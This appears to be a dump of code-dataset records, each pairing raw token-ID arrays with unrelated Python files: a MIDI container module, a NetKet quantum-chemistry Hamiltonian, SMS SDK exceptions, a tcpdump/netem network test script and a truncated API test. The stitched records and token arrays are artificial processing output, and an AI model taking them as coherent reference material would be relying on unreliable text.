314,
27224,
29914,
687,
29890,
29918,
11242,
29914,
3225,
29889,
2272,
13,
5215,
4903,
29889,
300,
929,
29889,
2642,
9643,
408,
382,
29911,
29871,
13,
5215,
19229,
13,
3166,
19229,
1053,
360,
919,
29892,
2391,
13,
13,
3166,
5335,
5570,
29889,
4351,
29889,
4130,
314,
27224,
29889,
687,
29890,
29918,
11242,
29889,
726,
1053,
25159,
13,
3166,
5335,
5570,
29889,
4351,
29889,
4130,
314,
27224,
29889,
687,
29890,
29918,
11242,
29889,
726,
1053,
28048,
663,
13,
3166,
5335,
5570,
29889,
4351,
29889,
4130,
314,
27224,
29889,
687,
29890,
29918,
11242,
29889,
3502,
519,
1053,
4485,
519,
13,
13,
361,
19229,
29889,
11116,
29918,
3210,
16658,
4214,
29901,
13,
1678,
515,
5335,
5570,
29889,
4351,
29889,
4130,
314,
27224,
29889,
687,
29890,
29918,
11242,
29889,
4703,
1053,
15228,
13,
13,
13,
1990,
10854,
7295,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4903,
29918,
1445,
29901,
851,
353,
27255,
1599,
6213,
29901,
13,
4706,
1583,
3032,
333,
353,
1178,
13,
4706,
1583,
3032,
3134,
29918,
1445,
353,
4903,
29918,
1445,
13,
4706,
1583,
3032,
18616,
2063,
29901,
360,
919,
29961,
710,
29892,
28048,
663,
29962,
353,
6571,
13,
4706,
1583,
3032,
3502,
1849,
29901,
360,
919,
29961,
710,
29892,
4485,
519,
29962,
353,
6571,
13,
13,
1678,
822,
1178,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
736,
1583,
3032,
3134,
29918,
1445,
13,
13,
1678,
822,
25260,
29898,
1311,
29897,
1599,
360,
919,
29961,
710,
29892,
28048,
663,
5387,
13,
4706,
736,
1583,
3032,
18616,
2063,
13,
13,
1678,
822,
2791,
1849,
29898,
1311,
29897,
1599,
360,
919,
29961,
710,
29892,
4485,
519,
5387,
13,
4706,
736,
1583,
3032,
3502,
1849,
13,
13,
1678,
822,
10541,
29918,
1609,
29918,
333,
29898,
1311,
29892,
1178,
29901,
851,
29897,
1599,
28048,
663,
29901,
13,
4706,
736,
1583,
3032,
18616,
2063,
29961,
333,
29962,
29871,
13,
13,
1678,
822,
2791,
519,
29918,
1609,
29918,
333,
29898,
1311,
29892,
1178,
29901,
851,
29897,
1599,
4485,
519,
29901,
13,
4706,
736,
1583,
3032,
3502,
1849,
29961,
333,
29962,
13,
13,
1678,
822,
731,
29918,
18616,
2063,
29898,
1311,
29892,
25260,
29901,
2391,
29961,
29903,
296,
663,
2314,
1599,
6213,
29901,
13,
4706,
1583,
3032,
18616,
2063,
353,
426,
18616,
663,
29889,
333,
7295,
10541,
363,
10541,
297,
25260,
29913,
13,
13,
1678,
822,
731,
29918,
3502,
1849,
29898,
1311,
29892,
2791,
1849,
29901,
2391,
29961,
9802,
519,
2314,
1599,
6213,
29901,
13,
4706,
1583,
3032,
3502,
1849,
353,
426,
3502,
519,
29889,
333,
7295,
2791,
519,
363,
2791,
519,
297,
2791,
1849,
29913,
13,
13,
1678,
822,
1426,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
25260,
29901,
2391,
29961,
710,
29962,
353,
5159,
13,
4706,
363,
10541,
297,
1583,
3032,
18616,
2063,
29889,
5975,
7295,
13,
9651,
25260,
4619,
518,
18616,
663,
29889,
726,
580,
29962,
13,
4706,
736,
525,
15300,
7122,
29898,
18616,
2063,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
515,
29918,
3134,
29898,
3134,
29918,
1445,
29901,
851,
29892,
3030,
29901,
525,
2677,
29374,
13,
4706,
5447,
353,
382,
29911,
29889,
5510,
29898,
3134,
29918,
1445,
29897,
13,
4706,
3876,
353,
5447,
29889,
657,
4632,
580,
13,
4706,
934,
29918,
978,
353,
3876,
29889,
1131,
1091,
1839,
1514,
29918,
978,
2033,
13,
4706,
1842,
353,
10854,
29898,
3134,
29918,
1445,
29922,
1445,
29918,
978,
29897,
13,
4706,
363,
560,
297,
3876,
29889,
2886,
497,
877,
6979,
29374,
13,
9651,
25159,
29889,
3166,
29918,
3134,
29898,
295,
29922,
295,
29892,
3030,
29922,
4703,
29892,
1842,
29922,
3225,
29897,
13,
4706,
25260,
353,
3030,
29889,
657,
29918,
18616,
2063,
29918,
1609,
29918,
3225,
29898,
3225,
29922,
3225,
29897,
13,
4706,
1842,
29889,
842,
29918,
18616,
2063,
29898,
18616,
2063,
29922,
18616,
2063,
29897,
13,
4706,
2791,
1849,
353,
3876,
29889,
2886,
877,
9802,
1849,
1495,
13,
4706,
363,
560,
297,
2791,
1849,
29889,
657,
11991,
7295,
13,
9651,
2791,
519,
353,
4485,
519,
29889,
3166,
29918,
3134,
29898,
295,
29922,
295,
29892,
3030,
29922,
4703,
29892,
1842,
29922,
3225,
29897,
13,
4706,
1842,
29889,
842,
29918,
3502,
1849,
29898,
4703,
29889,
657,
29918,
3502,
1849,
29918,
1609,
29918,
3225,
29898,
3225,
29922,
3225,
876,
13,
4706,
5302,
353,
3876,
29889,
2886,
877,
9662,
800,
1495,
13,
4706,
363,
560,
297,
5302,
29889,
657,
11991,
7295,
13,
9651,
8974,
29901,
2391,
29961,
710,
29962,
353,
5159,
13,
9651,
565,
525,
6812,
29915,
451,
297,
560,
29889,
1131,
1091,
29901,
13,
18884,
6773,
13,
9651,
7855,
353,
3030,
29889,
657,
29918,
10041,
29918,
1609,
29918,
333,
29898,
295,
29889,
1131,
1091,
1839,
6812,
11287,
13,
9651,
363,
560,
29906,
297,
560,
29889,
657,
11991,
7295,
13,
18884,
565,
560,
29906,
29889,
4039,
1275,
525,
4993,
2396,
13,
462,
1678,
1178,
353,
560,
29906,
29889,
1131,
1091,
1839,
29885,
29918,
333,
2033,
13,
462,
1678,
2791,
519,
353,
1842,
29889,
3502,
519,
29918,
1609,
29918,
333,
29898,
333,
29897,
13,
462,
1678,
7855,
29889,
1202,
29918,
3502,
519,
29898,
3502,
519,
29897,
13,
462,
1678,
2791,
519,
29889,
842,
29918,
10041,
29898,
10041,
29922,
10041,
29897,
13,
4706,
736,
1842,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
515,
5335,
5570,
29889,
4351,
29889,
4130,
314,
27224,
29889,
687,
29890,
29918,
11242,
29889,
4703,
1053,
15228,
13,
1678,
1574,
353,
10854,
29889,
3166,
29918,
3134,
11219,
5959,
29914,
1490,
755,
1794,
29914,
20128,
29914,
4691,
29914,
1356,
1971,
284,
29914,
1272,
29914,
11206,
29933,
29974,
29918,
29931,
1525,
29907,
29906,
29900,
29896,
29946,
29914,
11206,
29933,
29974,
29914,
29896,
29914,
29896,
29918,
29906,
687,
29890,
11242,
29889,
3134,
742,
15228,
3101,
13,
1678,
1596,
4197,
18616,
663,
29889,
726,
580,
363,
10541,
297,
1574,
29889,
18616,
2063,
2141,
5975,
580,
2314,
2
] |
ymidi/containers.py | Owen-Cochell/yapmidi | 0 | 47180 | <filename>ymidi/containers.py
"""
Components that house MIDI events and other misc. data,
"""
from dataclasses import dataclass
class TrackInfo(dataclass):
"""
An object that contains info about a specific track.
The data in this object is used for keeping track of track statistics.
We allow for these attributes to be manually defined,
and we also allow for auto-track traversal to fill in this info.
"""
pass
class TrackPattern(list):
"""
A collection of tracks.
We contain a list of tracks that contain MIDI events.
We keep track(haha) of statistics and data related to the
MIDI data we contain.
We do this by handling Meta events and yap-events.
We also support playback of the MIDI data.
This includes ALL MIDI track types,
and supports tracks that are playing at diffrent speeds.
"""
pass
class Track(list):
"""
A track of MIDI events.
We offer some useful helper methods that make
altering and adding MIDI events a relatively painless affair.
We inherit the default python list,
so we support all list operations.
"""
def __init__(self, *args):
super().__init__(*args)
self.name = '' # Name of the track
| [
1,
529,
9507,
29958,
962,
8819,
29914,
1285,
475,
414,
29889,
2272,
13,
15945,
29908,
13,
25503,
393,
3699,
341,
1367,
29902,
4959,
322,
916,
3984,
29883,
29889,
848,
29892,
29871,
13,
15945,
29908,
13,
13,
3166,
848,
13203,
1053,
848,
1990,
13,
13,
13,
1990,
17026,
3401,
29898,
1272,
1990,
1125,
13,
1678,
9995,
13,
1678,
530,
1203,
393,
3743,
5235,
1048,
263,
2702,
5702,
29889,
13,
268,
13,
1678,
450,
848,
297,
445,
1203,
338,
1304,
363,
12515,
5702,
310,
5702,
13964,
29889,
13,
1678,
1334,
2758,
363,
1438,
8393,
304,
367,
7522,
3342,
29892,
13,
1678,
322,
591,
884,
2758,
363,
4469,
29899,
11294,
13310,
284,
304,
5445,
297,
445,
5235,
29889,
13,
1678,
9995,
13,
13,
1678,
1209,
13,
13,
1990,
17026,
17144,
29898,
1761,
1125,
13,
1678,
9995,
13,
1678,
319,
4333,
310,
16257,
29889,
13,
268,
13,
1678,
1334,
1712,
263,
1051,
310,
16257,
393,
1712,
341,
1367,
29902,
4959,
29889,
13,
1678,
1334,
3013,
5702,
29898,
29882,
25613,
29897,
310,
13964,
322,
848,
4475,
304,
278,
13,
1678,
341,
1367,
29902,
848,
591,
1712,
29889,
13,
1678,
1334,
437,
445,
491,
11415,
20553,
4959,
322,
343,
481,
29899,
13604,
29889,
13,
268,
13,
1678,
1334,
884,
2304,
1708,
1627,
310,
278,
341,
1367,
29902,
848,
29889,
13,
1678,
910,
7805,
15149,
341,
1367,
29902,
5702,
4072,
29892,
13,
1678,
322,
11286,
16257,
393,
526,
8743,
472,
958,
27380,
961,
5779,
29889,
13,
1678,
9995,
13,
268,
13,
1678,
1209,
13,
13,
13,
1990,
17026,
29898,
1761,
1125,
13,
1678,
9995,
13,
1678,
319,
5702,
310,
341,
1367,
29902,
4959,
29889,
13,
268,
13,
1678,
1334,
5957,
777,
5407,
16876,
3519,
393,
1207,
13,
1678,
10551,
292,
322,
4417,
341,
1367,
29902,
4959,
263,
13774,
6788,
2222,
26195,
29889,
13,
13,
1678,
1334,
13125,
278,
2322,
3017,
1051,
29892,
13,
1678,
577,
591,
2304,
599,
1051,
6931,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
1125,
13,
308,
13,
4706,
2428,
2141,
1649,
2344,
1649,
10456,
5085,
29897,
13,
13,
4706,
1583,
29889,
978,
353,
6629,
29871,
396,
4408,
310,
278,
5702,
13,
2
] |
netket/custom/ab_initio_ham.py | yannra/netket | 0 | 45568 | <filename>netket/custom/ab_initio_ham.py
import netket as nk
from netket.custom.fermionic_hilbert import Fermions
from netket.custom.fermion_operator import SparseHermitianFermionOperator, FermionSumOperators, FermionTotalSpinNumberOperator
import numpy as np
class AbInitio(FermionSumOperators):
def __init__(self, hi, one_body_mat, two_body_mat):
n_orbitals = hi.size
# 1B part
t = one_body_mat - 0.5 * np.einsum("pqqs->ps", two_body_mat)
prefactors = []
sites = []
spins = []
for i in range(n_orbitals):
for j in range(n_orbitals):
prefactors.append(t[i,j])
prefactors.append(t[i,j])
sites.append([[j, i]])
sites.append([[j, i]])
spins.append([0])
spins.append([1])
one_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8))
# 2B part
prefactors = []
sites = []
spins = []
for i in range(n_orbitals):
for j in range(n_orbitals):
for k in range(n_orbitals):
for l in range(n_orbitals):
prefactors.append(0.5*two_body_mat[i,j,k,l])
prefactors.append(0.5*two_body_mat[i,j,k,l])
prefactors.append(two_body_mat[i,j,k,l])
sites.append([[j, i],[l,k]])
sites.append([[j, i],[l,k]])
sites.append([[j, i],[l,k]])
spins.append([0,0])
spins.append([1,1])
spins.append([0,1])
two_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8))
super().__init__([one_body, two_body]) | [
1,
529,
9507,
29958,
1212,
7873,
29914,
6341,
29914,
370,
29918,
2344,
601,
29918,
3391,
29889,
2272,
13,
5215,
7787,
7873,
408,
302,
29895,
13,
3166,
7787,
7873,
29889,
6341,
29889,
571,
29885,
26629,
29918,
29882,
309,
2151,
1053,
383,
837,
1080,
13,
3166,
7787,
7873,
29889,
6341,
29889,
571,
29885,
291,
29918,
6891,
1053,
317,
5510,
29950,
837,
277,
713,
29943,
837,
291,
26486,
29892,
383,
837,
291,
11139,
7094,
4097,
29892,
383,
837,
291,
11536,
5592,
262,
4557,
26486,
13,
5215,
12655,
408,
7442,
13,
13,
13,
1990,
1976,
6644,
601,
29898,
29943,
837,
291,
11139,
7094,
4097,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7251,
29892,
697,
29918,
2587,
29918,
2922,
29892,
1023,
29918,
2587,
29918,
2922,
1125,
13,
4706,
302,
29918,
272,
2966,
1338,
353,
7251,
29889,
2311,
13,
13,
4706,
396,
29871,
29896,
29933,
760,
13,
4706,
260,
353,
697,
29918,
2587,
29918,
2922,
448,
29871,
29900,
29889,
29945,
334,
7442,
29889,
29872,
1144,
398,
703,
29886,
24349,
29879,
976,
567,
613,
1023,
29918,
2587,
29918,
2922,
29897,
13,
4706,
758,
17028,
943,
353,
5159,
13,
4706,
11840,
353,
5159,
13,
4706,
805,
1144,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
9651,
363,
432,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
18884,
758,
17028,
943,
29889,
4397,
29898,
29873,
29961,
29875,
29892,
29926,
2314,
13,
18884,
758,
17028,
943,
29889,
4397,
29898,
29873,
29961,
29875,
29892,
29926,
2314,
13,
18884,
11840,
29889,
4397,
4197,
29961,
29926,
29892,
474,
24960,
13,
18884,
11840,
29889,
4397,
4197,
29961,
29926,
29892,
474,
24960,
13,
18884,
805,
1144,
29889,
4397,
4197,
29900,
2314,
13,
18884,
805,
1144,
29889,
4397,
4197,
29896,
2314,
13,
13,
4706,
697,
29918,
2587,
353,
317,
5510,
29950,
837,
277,
713,
29943,
837,
291,
26486,
29898,
2918,
29892,
7442,
29889,
2378,
29898,
29886,
999,
627,
943,
467,
579,
668,
29898,
9302,
29889,
19676,
29896,
29906,
29947,
511,
7442,
29889,
2378,
29898,
16315,
467,
579,
668,
29898,
524,
511,
7442,
29889,
2378,
29898,
1028,
1144,
467,
579,
668,
29898,
9302,
29889,
13470,
29947,
876,
13,
13,
4706,
396,
29871,
29906,
29933,
760,
13,
4706,
758,
17028,
943,
353,
5159,
13,
4706,
11840,
353,
5159,
13,
4706,
805,
1144,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
9651,
363,
432,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
18884,
363,
413,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
462,
1678,
363,
301,
297,
3464,
29898,
29876,
29918,
272,
2966,
1338,
1125,
13,
462,
4706,
758,
17028,
943,
29889,
4397,
29898,
29900,
29889,
29945,
29930,
10184,
29918,
2587,
29918,
2922,
29961,
29875,
29892,
29926,
29892,
29895,
29892,
29880,
2314,
13,
462,
4706,
758,
17028,
943,
29889,
4397,
29898,
29900,
29889,
29945,
29930,
10184,
29918,
2587,
29918,
2922,
29961,
29875,
29892,
29926,
29892,
29895,
29892,
29880,
2314,
13,
462,
4706,
758,
17028,
943,
29889,
4397,
29898,
10184,
29918,
2587,
29918,
2922,
29961,
29875,
29892,
29926,
29892,
29895,
29892,
29880,
2314,
13,
462,
4706,
11840,
29889,
4397,
4197,
29961,
29926,
29892,
474,
16272,
29880,
29892,
29895,
24960,
13,
462,
4706,
11840,
29889,
4397,
4197,
29961,
29926,
29892,
474,
16272,
29880,
29892,
29895,
24960,
13,
462,
4706,
11840,
29889,
4397,
4197,
29961,
29926,
29892,
474,
16272,
29880,
29892,
29895,
24960,
13,
462,
4706,
805,
1144,
29889,
4397,
4197,
29900,
29892,
29900,
2314,
13,
462,
4706,
805,
1144,
29889,
4397,
4197,
29896,
29892,
29896,
2314,
13,
462,
4706,
805,
1144,
29889,
4397,
4197,
29900,
29892,
29896,
2314,
13,
13,
4706,
1023,
29918,
2587,
353,
317,
5510,
29950,
837,
277,
713,
29943,
837,
291,
26486,
29898,
2918,
29892,
7442,
29889,
2378,
29898,
29886,
999,
627,
943,
467,
579,
668,
29898,
9302,
29889,
19676,
29896,
29906,
29947,
511,
7442,
29889,
2378,
29898,
16315,
467,
579,
668,
29898,
524,
511,
7442,
29889,
2378,
29898,
1028,
1144,
467,
579,
668,
29898,
9302,
29889,
13470,
29947,
876,
13,
13,
4706,
2428,
2141,
1649,
2344,
1649,
4197,
650,
29918,
2587,
29892,
1023,
29918,
2587,
2314,
2
] |
clx/xms/exceptions.py | linhuiwzqu/clxcommunications | 3 | 184326 | <filename>clx/xms/exceptions.py
# -*- coding: utf-8 -*-
"""Collection of exceptions raised by the XMS SDK.
The exceptions raised by the API all inherit from the base class
:class:`ApiException`.
"""
from __future__ import absolute_import, division, print_function
class ApiException(Exception):
"""Base class for exceptions thrown within the XMS SDK"""
class UnexpectedResponseException(ApiException):
"""Raised when XMS gave an unexpected response
:param message: useful message explaining the problem
:type message: str
:param http_body: the unexpected HTTP body
:type http_body: str
.. attribute:: http_body
The unexpected HTTP body.
:type: str
"""
def __init__(self, message, http_body):
ApiException.__init__(self, message)
self.http_body = http_body
class ErrorResponseException(ApiException):
"""Exception used when XMS responded with an error message.
:param message: the human readable error message
:type message: str
:param code: the machine readable error code
:type code: str
.. attribute:: error_code
The machine readable error code.
:type: str
"""
def __init__(self, message, code):
ApiException.__init__(self, message)
self.error_code = code
class NotFoundException(ApiException):
"""Exception indicating that a requested resources did not exist in
XMS.
This exception is thrown, for example, when attempting to retrieve
a batch with an invalid batch identifier.
:param url: URL to the missing resource.
:type url: str
.. attribute:: url
The failing URL.
:type: str
"""
def __init__(self, url):
ApiException.__init__(self, 'No resource found at "%s"' % url)
self.url = url
class UnauthorizedException(ApiException):
"""Exception indicating that XMS did not accept the service plan ID
and authentication token.
:param service_plan_id: the service plan identifier
:type service_plan_id: str
:param token: the authentication token
:type token: str
.. attribute:: service_plan_id
The service plan identifier that did not pass authentication.
:type: str
.. attribute:: token
The authentication token that was not accepted.
:type: str
"""
def __init__(self, service_plan_id, token):
fmt = 'Authentication failed with service plan "%s"'
ApiException.__init__(self, fmt % service_plan_id)
self.service_plan_id = service_plan_id
self.token = token
| [
1,
529,
9507,
29958,
695,
29916,
29914,
29916,
1516,
29914,
11739,
29879,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
15945,
29908,
7196,
310,
15283,
10425,
491,
278,
1060,
4345,
12967,
29889,
13,
13,
1576,
15283,
10425,
491,
278,
3450,
599,
13125,
515,
278,
2967,
770,
13,
29901,
1990,
18078,
11713,
2451,
1412,
13,
13,
15945,
29908,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
8542,
29892,
1596,
29918,
2220,
13,
13,
1990,
29749,
2451,
29898,
2451,
1125,
13,
1678,
9995,
5160,
770,
363,
15283,
12005,
2629,
278,
1060,
4345,
12967,
15945,
29908,
13,
13,
1990,
10016,
29916,
6021,
5103,
2451,
29898,
11713,
2451,
1125,
13,
1678,
9995,
29934,
1759,
287,
746,
1060,
4345,
4846,
385,
15668,
2933,
13,
13,
1678,
584,
3207,
2643,
29901,
5407,
2643,
24232,
278,
1108,
13,
1678,
584,
1853,
2643,
29901,
851,
13,
13,
1678,
584,
3207,
1732,
29918,
2587,
29901,
278,
15668,
7331,
3573,
13,
1678,
584,
1853,
1732,
29918,
2587,
29901,
851,
13,
13,
1678,
6317,
5352,
1057,
1732,
29918,
2587,
13,
13,
418,
450,
15668,
7331,
3573,
29889,
13,
13,
418,
584,
1853,
29901,
851,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2643,
29892,
1732,
29918,
2587,
1125,
13,
4706,
29749,
2451,
17255,
2344,
12035,
1311,
29892,
2643,
29897,
13,
4706,
1583,
29889,
1124,
29918,
2587,
353,
1732,
29918,
2587,
13,
13,
1990,
4829,
5103,
2451,
29898,
11713,
2451,
1125,
13,
1678,
9995,
2451,
1304,
746,
1060,
4345,
10049,
287,
411,
385,
1059,
2643,
29889,
13,
13,
1678,
584,
3207,
2643,
29901,
278,
5199,
19909,
1059,
2643,
13,
1678,
584,
1853,
2643,
29901,
851,
13,
13,
1678,
584,
3207,
775,
29901,
278,
4933,
19909,
1059,
775,
13,
1678,
584,
1853,
775,
29901,
851,
13,
13,
1678,
6317,
5352,
1057,
1059,
29918,
401,
13,
13,
418,
450,
4933,
19909,
1059,
775,
29889,
13,
13,
418,
584,
1853,
29901,
851,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2643,
29892,
775,
1125,
13,
4706,
29749,
2451,
17255,
2344,
12035,
1311,
29892,
2643,
29897,
13,
4706,
1583,
29889,
2704,
29918,
401,
353,
775,
13,
13,
1990,
2216,
9692,
2451,
29898,
11713,
2451,
1125,
13,
1678,
9995,
2451,
23941,
393,
263,
13877,
7788,
1258,
451,
1863,
297,
13,
1678,
1060,
4345,
29889,
13,
13,
1678,
910,
3682,
338,
12005,
29892,
363,
1342,
29892,
746,
15661,
304,
10563,
13,
1678,
263,
9853,
411,
385,
8340,
9853,
15882,
29889,
13,
13,
1678,
584,
3207,
3142,
29901,
3988,
304,
278,
4567,
6503,
29889,
13,
1678,
584,
1853,
3142,
29901,
851,
13,
13,
1678,
6317,
5352,
1057,
3142,
13,
13,
418,
450,
17581,
3988,
29889,
13,
13,
418,
584,
1853,
29901,
851,
13,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3142,
1125,
13,
4706,
29749,
2451,
17255,
2344,
12035,
1311,
29892,
525,
3782,
6503,
1476,
472,
11860,
29879,
29908,
29915,
1273,
3142,
29897,
13,
4706,
1583,
29889,
2271,
353,
3142,
13,
13,
1990,
853,
8921,
1891,
2451,
29898,
11713,
2451,
1125,
13,
1678,
9995,
2451,
23941,
393,
1060,
4345,
1258,
451,
3544,
278,
2669,
3814,
3553,
13,
1678,
322,
10760,
5993,
29889,
13,
13,
1678,
584,
3207,
2669,
29918,
9018,
29918,
333,
29901,
278,
2669,
3814,
15882,
13,
1678,
584,
1853,
2669,
29918,
9018,
29918,
333,
29901,
851,
13,
1678,
584,
3207,
5993,
29901,
278,
10760,
5993,
13,
1678,
584,
1853,
5993,
29901,
851,
13,
13,
1678,
6317,
5352,
1057,
2669,
29918,
9018,
29918,
333,
13,
13,
418,
450,
2669,
3814,
15882,
393,
1258,
451,
1209,
10760,
29889,
13,
13,
418,
584,
1853,
29901,
851,
13,
13,
1678,
6317,
5352,
1057,
5993,
13,
13,
418,
450,
10760,
5993,
393,
471,
451,
9259,
29889,
13,
13,
418,
584,
1853,
29901,
851,
13,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2669,
29918,
9018,
29918,
333,
29892,
5993,
1125,
13,
4706,
19200,
353,
525,
16746,
5229,
411,
2669,
3814,
11860,
29879,
29908,
29915,
13,
4706,
29749,
2451,
17255,
2344,
12035,
1311,
29892,
19200,
1273,
2669,
29918,
9018,
29918,
333,
29897,
13,
13,
4706,
1583,
29889,
5509,
29918,
9018,
29918,
333,
353,
2669,
29918,
9018,
29918,
333,
13,
4706,
1583,
29889,
6979,
353,
5993,
13,
2
] |
results/scripts/netem_rrtcp.py | andres-erbsen/rrtcp | 1 | 185211 | #!/usr/bin/python
import time
import subprocess
from config import delayIntervals, lossIntervals, tcpTestLocation, udpTestLocation, rrtcpTestLocation
def runTests():
for delay in delayIntervals:
for loss in lossIntervals:
runTest(tcpTestLocation, delay, loss, 'tcp')
#runTest(udpTestLocation, delay, loss, 'udp')
runTest(rrtcpTestLocation, delay, loss, 'rrtcp')
def runTest(testLocation, delay, loss, name):
timeToRun = 10 # seconds
outputName = name + '_' + str(delay) + '_' + str(loss)
subprocess.call("tc qdisc change dev veth-1 root netem delay " + str(delay) + "ms loss " + str(loss) + "%", shell=True)
time.sleep(.1)
print "Opening tcpdump"
subprocess.Popen("sudo tcpdump -i veth-1 -tt -l -n | tee " + outputName + ".dialer.tcpdump.out", shell=True)
time.sleep(.1)
subprocess.Popen("sudo ip netns exec other tcpdump -i veth-2 -tt -l -n | tee " + outputName + ".listener.tcpdump.out", shell=True)
print "Starting application"
time.sleep(.1)
subprocess.call( testLocation + ' -l -d ' + str(timeToRun) + 's -address 10.1.1.1:2000 > ' + outputName + '.listener.out' + ' 2>'+outputName+'.listener.err &', shell=True)
subprocess.call( testLocation + ' -d ' + str(timeToRun) + 's -address 10.1.1.1 > ' + outputName + '.dialer.out' + ' 2>'+outputName+'.dialer.err &', shell=True)
time.sleep(timeToRun + .1)
print outputName
if __name__ == '__main__':
runTests()
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
13,
5215,
931,
13,
5215,
1014,
5014,
13,
3166,
2295,
1053,
9055,
12506,
29879,
29892,
6410,
12506,
29879,
29892,
22729,
3057,
6508,
29892,
318,
6099,
3057,
6508,
29892,
364,
2273,
6814,
3057,
6508,
13,
13,
1753,
1065,
24376,
7295,
13,
1678,
363,
9055,
297,
9055,
12506,
29879,
29901,
13,
4706,
363,
6410,
297,
6410,
12506,
29879,
29901,
13,
9651,
1065,
3057,
29898,
23981,
3057,
6508,
29892,
9055,
29892,
6410,
29892,
525,
23981,
1495,
13,
9651,
396,
3389,
3057,
29898,
566,
29886,
3057,
6508,
29892,
9055,
29892,
6410,
29892,
525,
566,
29886,
1495,
13,
9651,
1065,
3057,
29898,
29878,
2273,
6814,
3057,
6508,
29892,
9055,
29892,
6410,
29892,
525,
29878,
2273,
6814,
1495,
13,
13,
1753,
1065,
3057,
29898,
1688,
6508,
29892,
9055,
29892,
6410,
29892,
1024,
1125,
13,
1678,
931,
1762,
6558,
353,
29871,
29896,
29900,
396,
6923,
13,
13,
1678,
1962,
1170,
353,
1024,
718,
22868,
29915,
718,
851,
29898,
18829,
29897,
718,
22868,
29915,
718,
851,
29898,
6758,
29897,
13,
13,
1678,
1014,
5014,
29889,
4804,
703,
14246,
3855,
2218,
29883,
1735,
2906,
325,
621,
29899,
29896,
3876,
7787,
331,
9055,
376,
718,
851,
29898,
18829,
29897,
718,
376,
1516,
6410,
376,
718,
851,
29898,
6758,
29897,
718,
11860,
613,
6473,
29922,
5574,
29897,
13,
1678,
931,
29889,
17059,
11891,
29896,
29897,
13,
1678,
1596,
376,
6585,
292,
22729,
15070,
29908,
13,
1678,
1014,
5014,
29889,
29925,
3150,
703,
15360,
22729,
15070,
448,
29875,
325,
621,
29899,
29896,
448,
698,
448,
29880,
448,
29876,
891,
734,
29872,
376,
718,
1962,
1170,
718,
11393,
29881,
616,
261,
29889,
23981,
15070,
29889,
449,
613,
6473,
29922,
5574,
29897,
13,
1678,
931,
29889,
17059,
11891,
29896,
29897,
13,
1678,
1014,
5014,
29889,
29925,
3150,
703,
15360,
10377,
7787,
1983,
2279,
916,
22729,
15070,
448,
29875,
325,
621,
29899,
29906,
448,
698,
448,
29880,
448,
29876,
891,
734,
29872,
376,
718,
1962,
1170,
718,
11393,
25894,
29889,
23981,
15070,
29889,
449,
613,
6473,
29922,
5574,
29897,
13,
1678,
1596,
376,
4763,
292,
2280,
29908,
13,
1678,
931,
29889,
17059,
11891,
29896,
29897,
13,
1678,
1014,
5014,
29889,
4804,
29898,
1243,
6508,
718,
525,
448,
29880,
448,
29881,
525,
718,
851,
29898,
2230,
1762,
6558,
29897,
718,
525,
29879,
448,
7328,
29871,
29896,
29900,
29889,
29896,
29889,
29896,
29889,
29896,
29901,
29906,
29900,
29900,
29900,
1405,
525,
718,
1962,
1170,
718,
15300,
25894,
29889,
449,
29915,
718,
525,
29871,
29906,
16299,
29974,
4905,
1170,
29974,
4286,
25894,
29889,
3127,
669,
742,
6473,
29922,
5574,
29897,
13,
1678,
1014,
5014,
29889,
4804,
29898,
1243,
6508,
718,
525,
448,
29881,
525,
718,
851,
29898,
2230,
1762,
6558,
29897,
718,
525,
29879,
448,
7328,
29871,
29896,
29900,
29889,
29896,
29889,
29896,
29889,
29896,
1405,
525,
718,
1962,
1170,
718,
15300,
29881,
616,
261,
29889,
449,
29915,
718,
525,
29871,
29906,
16299,
29974,
4905,
1170,
29974,
4286,
29881,
616,
261,
29889,
3127,
669,
742,
6473,
29922,
5574,
29897,
13,
1678,
931,
29889,
17059,
29898,
2230,
1762,
6558,
718,
869,
29896,
29897,
13,
13,
1678,
1596,
1962,
1170,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
259,
1065,
24376,
580,
13,
2
] |
usaspending_api/search/tests/test_spending_over_time.py | COEJKnight/five | 0 | 165900 | <gh_stars>0
import json
import pytest
from rest_framework import status
from usaspending_api.search.tests.test_mock_data_search import all_filters
@pytest.mark.skip
@pytest.mark.django_db
def test_spending_over_time_success(client):
# test for needed filters
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "fiscal_year",
"filters": {
"keyword": "test"
}
}))
assert resp.status_code == status.HTTP_200_OK
# test all filters
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters()
}))
assert resp.status_code == status.HTTP_200_OK
@pytest.mark.skip
@pytest.mark.django_db
def test_spending_over_time_failure(client):
"""Verify error on bad autocomplete request for budget function."""
resp = client.post(
'/api/v2/search/spending_over_time/',
content_type='application/json',
